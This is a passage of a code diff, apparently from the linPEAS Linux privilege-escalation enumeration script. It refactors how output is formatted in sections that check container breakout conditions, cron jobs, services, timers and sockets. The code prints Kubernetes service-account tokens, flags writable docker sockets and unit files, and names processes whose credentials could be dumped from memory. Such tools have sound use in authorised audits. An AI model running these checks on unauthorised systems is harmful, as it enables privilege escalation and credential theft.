"s,Yes,${C}[1;32m&${C}[0m," + print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," fi fi if [ "$inContainer" ]; then echo "" - printf $Y"[+] "$GREEN"Container & breakout enumeration\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout\n"$NC - printf $Y"[+] "$GREEN"Container ID ...................$NC `cat /etc/hostname`\n" + print_2title "Container & breakout enumeration" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout" + print_list "Container ID ...................$NC" `cat /etc/hostname` if [ "`echo \"$containerType\" | grep -i \"docker\"`" ]; then - printf $Y"[+] "$GREEN"Container Full ID ..............$NC `basename \"$(cat /proc/1/cpuset)\"`\n" + print_list "Container Full ID ..............$NC `basename \"$(cat /proc/1/cpuset)\"`\n" fi if [ "`echo \"$containerType\" | grep -i \"kubernetes\"`" ]; then - printf $Y"[+] "$GREEN"Kubernetes namespace ...........$NC `cat /run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null`\n" - printf $Y"[+] "$GREEN"Kubernetes token ...............$NC `cat /run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null`\n" + print_list "Kubernetes namespace ...........$NC `cat /run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null`\n" + print_list "Kubernetes token ...............$NC `cat /run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null`\n" fi checkContainerExploits - printf $Y"[+] "$GREEN"Vulnerable to CVE-2019-5021 .. $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${C}[1;31;103m&${C}[0m," + print_list "Vulnerable to CVE-2019-5021 .. $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," echo "" - printf $Y"[+] "$GREEN"Container Capabilities\n"$NC - capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${C}[1;31m&${C}[0m,g" + print_2title "Container Capabilities" + capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" echo "" - printf $Y"[+] "$GREEN"Privilege Mode\n"$NC + print_2title "Privilege Mode" if [ -x "$(command -v fdisk)" ]; then if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then - echo "Privilege Mode is enabled"| sed -${E} "s,enabled,${C}[1;31;103m&${C}[0m," + echo "Privilege Mode is enabled"| sed -${E} "s,enabled,${SED_RED_YELLOW}," else - echo "Privilege Mode is disabled"| sed -${E} "s,disabled,${C}[1;32m&${C}[0m," + echo "Privilege Mode is disabled"| sed -${E} "s,disabled,${SED_GREEN}," fi else echo_not_found fi echo "" - printf $Y"[+] "$GREEN"Interesting Files Mounted\n"$NC + print_2title "Interesting Files Mounted" grep -Ev "$GREP_IGNORE_MOUNTS" /proc/self/mountinfo | cut -d' ' -f 4- echo "" - printf $Y"[+] "$GREEN"Possible Entrypoints\n"$NC + print_2title "Possible Entrypoints" ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq echo "" fi @@ -1326,18 +1415,18 @@ if [ "`echo $CHECKS | grep Devs`" ]; then ########################################### #---------------) Devices (---------------# ########################################### - printf $B"═════════════════════════════════════════╣ "$GREEN"Devices"$B" ╠══════════════════════════════════════════\n"$NC + print_title "Devices" #-- 1D) sd in /dev - printf $Y"[+] "$GREEN"Any sd*/disk* disk in /dev? (limit 20)\n"$NC - ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${C}[1;31m&${C}[0m," | head -n 20 + print_2title "Any sd*/disk* disk in /dev? (limit 20)" + ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${SED_RED}," | head -n 20 echo "" #-- 2D) Unmounted - printf $Y"[+] "$GREEN"Unmounted file-system?\n"$NC - printf $B"[i] "$Y"Check if you can mount umounted devices\n"$NC + print_2title "Unmounted file-system?" + print_info "Check if you can mount umounted devices" if [ -f "/etc/fstab" ]; then - cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${C}[1;32m&${C}[0m,g" | sed -${E} "s,$notmounted,${C}[1;31m&${C}[0m," | sed -${E} "s,$mounted,${C}[1;34m&${C}[0m," | sed -${E} "s,$Wfolders,${C}[1;31m&${C}[0m," | sed -${E} "s,$mountpermsB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$mountpermsG,${C}[1;32m&${C}[0m,g" + cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED}," | sed -${E} "s,$mounted,${SED_BLUE}," | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" else echo_not_found "/etc/fstab" fi @@ -1351,16 +1440,16 @@ if [ "`echo $CHECKS | grep AvaSof`" ]; then ########################################### #---------) Available Software (----------# ########################################### - printf $B"════════════════════════════════════╣ "$GREEN"Available Software"$B" ╠════════════════════════════════════\n"$NC + print_title "Available Software" #-- 1AS) Useful software - printf $Y"[+] "$GREEN"Useful software\n"$NC - which $CONTAINER_CMDS nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch ctr 2>/dev/null + print_2title "Useful software" + command -v $CONTAINER_CMDS nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch ctr 2>/dev/null echo "" #-- 2AS) Search for compilers - printf $Y"[+] "$GREEN"Installed Compiler\n"$NC - (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); + print_2title "Installed Compiler" + (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); echo "" echo "" if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi @@ -1371,26 +1460,26 @@ if [ "`echo $CHECKS | grep ProCronSrvcsTmrsSocks`" ]; then #################################################### #-----) Processes & Cron & Services & Timers (-----# #################################################### - printf $B"══════════════════════════════╣ "$GREEN"Processes, Cron, Services, Timers & Sockets"$B" ╠════════════════════════════════\n"$NC + print_title "Processes, Cron, Services, Timers & Sockets" #-- PCS) Cleaned proccesses - printf $Y"[+] "$GREEN"Cleaned processes\n"$NC + print_2title "Cleaned processes" if [ "$NOUSEPS" ]; then - printf $B"[i] "$GREEN"Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC + printf ${BLUE}"[i] "$GREEN"Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC fi - printf $B"[i] "$Y"Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes\n"$NC + print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes" if [ "$NOUSEPS" ]; then - print_ps | sed -${E} "s,$Wfolders,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$rootcommon,${C}[1;32m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," | sed -${E} "s,$processesVB,${C}[1;31;103m&${C}[0m,g" | sed "s,$processesB,${C}[1;31m&${C}[0m," | sed -${E} "s,$processesDump,${C}[1;31m&${C}[0m," + print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," pslist=`print_ps` else (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do - echo "$psline" | sed -${E} "s,$Wfolders,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$rootcommon,${C}[1;32m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," | sed -${E} "s,$processesVB,${C}[1;31;103m&${C}[0m,g" | sed "s,$processesB,${C}[1;31m&${C}[0m," | sed -${E} "s,$processesDump,${C}[1;31m&${C}[0m," + echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," if [ "`command -v capsh`" ] && ! [ "`echo \"$psline\" | grep root`" ]; then cpid="`echo \"$psline\" | awk '{print $2}'`" caphex=0x"`cat \"/proc/$cpid/status\" 2> /dev/null | grep \"CapEff\" | awk '{print $2}'`" if [ "$caphex" ] && [ "$caphex" != "0x" ] && [ "`echo \"$caphex\" | grep -v '0x0000000000000000'`" ]; then - printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | sed -${E} "s,$capsB,${C}[1;31m&${C}[0m,g" + printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | sed -${E} "s,$capsB,${SED_RED},g" fi fi done @@ -1398,193 +1487,189 @@ if [ "`echo $CHECKS | grep ProCronSrvcsTmrsSocks`" ]; then echo "" #-- PCS) Binary processes permissions - printf $Y"[+] "$GREEN"Binary processes permissions\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes\n"$NC + print_2title "Binary processes permissions" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes" binW="IniTialiZZinnggg" ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do if [ -w "$bpath" ]; then binW="$binW|$bpath" fi done - ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | sed -${E} "s,$Wfolders,${C}[1;31;103m&${C}[0m,g" | sed -${E} "s,$binW,${C}[1;31;103m&${C}[0m,g" | sed -${E} "s,$sh_usrs,${C}[1;31m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;31m&${C}[0m," | sed "s,root,${C}[1;32m&${C}[0m," + ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN}," fi echo "" #-- PCS) Files opened by processes belonging to other users if ! [ "$IAMROOT" ]; then - printf $Y"[+] "$GREEN"Files opened by processes belonging to other users\n"$NC - printf $B"[i] "$Y"This is usually empty because of the lack of privileges to read other user processes information\n"$NC - lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + print_2title "Files opened by processes belonging to other users" + print_info "This is usually empty because of the lack of privileges to read other user processes information" + lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," echo "" fi - #-- PCS) Processes with credentials inside memory - printf $Y"[+] "$GREEN"Processes with credentials in memory (root req)\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#credentials-from-process-memory\n"$NC - if [ "`echo \"$pslist\" | grep \"gdm-password\"`" ]; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${C}[1;31m&${C}[0m,"; else echo_not_found "gdm-password"; fi - if [ "`echo \"$pslist\" | grep \"gnome-keyring-daemon\"`" ]; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${C}[1;31m&${C}[0m,"; else echo_not_found "gnome-keyring-daemon"; fi - if [ "`echo \"$pslist\" | grep \"lightdm\"`" ]; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${C}[1;31m&${C}[0m,"; else echo_not_found "lightdm"; fi - if [ "`echo \"$pslist\" | grep \"vsftpd\"`" ]; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${C}[1;31m&${C}[0m,"; else echo_not_found "vsftpd"; fi - if [ "`echo \"$pslist\" | grep \"apache2\"`" ]; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${C}[1;31m&${C}[0m,"; else echo_not_found "apache2"; fi - if [ "`echo \"$pslist\" | grep \"sshd:\"`" ]; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${C}[1;31m&${C}[0m,"; else echo_not_found "sshd"; fi + #-- PCS) Processes with credentials inside memory + print_2title "Processes with credentials in memory (root req)" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#credentials-from-process-memory" + if [ "`echo \"$pslist\" | grep \"gdm-password\"`" ]; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi + if [ "`echo \"$pslist\" | grep \"gnome-keyring-daemon\"`" ]; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi + if [ "`echo \"$pslist\" | grep \"lightdm\"`" ]; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi + if [ "`echo \"$pslist\" | grep \"vsftpd\"`" ]; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi + if [ "`echo \"$pslist\" | grep \"apache2\"`" ]; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi + if [ "`echo \"$pslist\" | grep \"sshd:\"`" ]; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi echo "" #-- PCS) Different processes 1 min if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then - printf $Y"[+] "$GREEN"Different processes executed during 1 min (interesting is low number of repetitions)\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#frequent-cron-jobs\n"$NC + print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#frequent-cron-jobs" if [ "`ps -e -o command 2>/dev/null`" ]; then for i in $(seq 1 1250); do ps -e -o command >> $file.tmp1 2>/dev/null; sleep 0.05; done; sort $file.tmp1 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm $file.tmp1; fi echo "" fi #-- PCS) Cron - printf $Y"[+] "$GREEN"Cron jobs\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs\n"$NC + print_2title "Cron jobs" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs" command -v crontab 2>/dev/null || echo_not_found "crontab" - crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${C}[1;31;103m&${C}[0m,g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," command -v incrontab 2>/dev/null || echo_not_found "incrontab" incrontab -l 2>/dev/null - ls -al /etc/cron* 2>/dev/null | sed -${E} "s,$cronjobsG,${C}[1;32m&${C}[0m,g" | sed "s,$cronjobsB,${C}[1;31m&${C}[0m,g" - cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs /var/spool/cron/crontabs/* /var/spool/anacron /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${C}[1;31;103m&${C}[0m,g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" + cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," crontab -l -u "$USER" 2>/dev/null | tr -d "\r" ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ 2>/dev/null #MacOS paths echo "" #-- PCS) Services - printf $Y"[+] "$GREEN"Services\n"$NC - printf $B"[i] "$Y"Search for outdated versions\n"$NC + print_2title "Services" + print_info "Search for outdated versions" (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl" echo "" #-- PSC) systemd PATH - printf $Y"[+] "$GREEN"Systemd PATH\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths\n"$NC - systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${C}[1;31;103m&${C}[0m,g" + print_2title "Systemd PATH" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths" + systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g" WRITABLESYSTEMDPATH=`systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders"` echo "" #-- PSC) .service files #TODO: .service files in MACOS are folders - printf $Y"[+] "$GREEN"Analyzing .service files\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#services\n"$NC - services=$(echo "$FIND_ETC\n$FIND_LIB\n$FIND_RUN\n$FIND_USR\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_PRIVATE\n$FIND_VAR\n$FIND_SYS\n$FIND_SNAP" | grep -E '\.service') - printf "%s\n" "$services\n" | while read s; do + print_2title "Analyzing .service files" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#services" + printf "%s\n" "$PSTORAGE_SYSTEMD\n" | while read s; do if [ ! -O "$s" ]; then #Remove services that belongs to the current user - if [ -w "$s" ] && [ -f "$s" ]; then - echo "$s" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,g" + if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then + echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi servicebinpaths="`grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' \"$s\" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,'`" #Get invoked paths printf "%s\n" "$servicebinpaths\n" | while read sp; do if [ -w "$sp" ]; then - echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${C}[1;31;103m&${C}[0m,g" + echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g" fi done relpath1="`grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' \"$s\" 2>/dev/null | grep -Iv \"=/\"`" relpath2="`grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' \"$s\" 2>/dev/null | grep -Ev \"/[a-zA-Z0-9_]+/\"`" if [ "$relpath1" ] || [ "$relpath2" ]; then if [ "$WRITABLESYSTEMDPATH" ]; then - echo "$s is executing some relative path" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; + echo "$s is executing some relative path" | sed -${E} "s,.*,${SED_RED},"; else echo "$s is executing some relative path" fi fi fi done - if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${C}[1;32m&${C}[0m,"; fi + if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi echo "" - + #-- PSC) Timers - printf $Y"[+] "$GREEN"System timers\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers\n"$NC - (systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${C}[1;32m&${C}[0m,") || echo_not_found + print_2title "System timers" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers" + (systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found echo "" #-- PSC) .timer files - printf $Y"[+] "$GREEN"Analyzing .timer files\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers\n"$NC - timers=$(echo "$FIND_ETC\n$FIND_LIB\n$FIND_RUN\n$FIND_USR\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_PRIVATE\n$FIND_VAR\n$FIND_SYS\n$FIND_SNAP" | grep -E '\.timer') - printf "%s\n" "$timers\n" | while read t; do - if [ -w "$t" ]; then - echo "$t" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,g" + print_2title "Analyzing .timer files" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers" + printf "%s\n" "$PSTORAGE_TIMER\n" | while read t; do + if ! [ "$IAMROOT" ] && [ -w "$t" ]; then + echo "$t" | sed -${E} "s,.*,${SED_RED},g" fi timerbinpaths="`grep -Po '^Unit=*(.*?$)' \"$t\" 2>/dev/null | cut -d '=' -f2`" printf "%s\n" "$timerbinpaths" | while read tb; do if [ -w "$tb" ]; then - echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${C}[1;31m&${C}[0m,g" + echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g" fi done #relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`" #for rp in "$relpath"; do - # echo "$t is calling a relative path: $rp" | sed "s,relative.*,${C}[1;31m&${C}[0m,g" + # echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g" #done done echo "" #-- PSC) .socket files #TODO: .socket files in MACOS are folders - printf $Y"[+] "$GREEN"Analyzing .socket files\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets\n"$NC - sockets=$(echo "$FIND_ETC\n$FIND_LIB\n$FIND_RUN\n$FIND_USR\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_PRIVATE\n$FIND_VAR\n$FIND_SYS\n$FIND_SNAP" | grep -E '\.socket') - printf "%s\n" "$sockets" | while read s; do - if [ -w "$s" ] && [ -f "$s" ]; then - echo "Writable .socket file: $s" | sed "s,/.*,${C}[1;31m&${C}[0m,g" + print_2title "Analyzing .socket files" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets" + printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do + if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then + echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g" fi socketsbinpaths="`grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' \"$s\" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,'`" printf "%s\n" "$socketsbinpaths" | while read sb; do if [ -w "$sb" ]; then - echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${C}[1;31m&${C}[0m,g" + echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g" fi done socketslistpaths="`grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' \"$s\" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,'`" printf "%s\n" "$socketsbinpaths" | while read sl; do if [ -w "$sl" ]; then - echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${C}[1;31m&${C}[0m,g"; + echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g"; fi done done - if [ -w "/var/run/docker.sock" ]; then - echo "Docker socket /var/run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${C}[1;31;103m&${C}[0m,g" + if ! [ "$IAMROOT" ] && [ -w "/var/run/docker.sock" ]; then + echo "Docker socket /var/run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g" fi - if [ -w "/run/docker.sock" ]; then - echo "Docker socket /run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${C}[1;31;103m&${C}[0m,g" + if ! [ "$IAMROOT" ] && [ -w "/run/docker.sock" ]; then + echo "Docker socket /run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g" fi echo "" #-- PSC) Search HTTP sockets - printf $Y"[+] "$GREEN"HTTP sockets\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets\n"$NC + print_2title "HTTP sockets" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets" ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1 | while read s; do socketcurl="`curl --max-time 2 --unix-socket \"$s\" http:/index 2>/dev/null`" if [ $? -eq 0 ]; then owner="`ls -l \"$s\" | cut -d ' ' -f 3`" - echo "Socket $s owned by $owner uses HTTP. Response to /index:" | sed -${E} "s,$groupsB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$groupsVB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m,g" | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m,g" | sed "s,root,${C}[1;31m&${C}[0m," | sed -${E} "s,$knw_grps,${C}[1;32m&${C}[0m,g" | sed -${E} "s,$idB,${C}[1;31m&${C}[0m,g" + echo "Socket $s owned by $owner uses HTTP. Response to /index:" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed 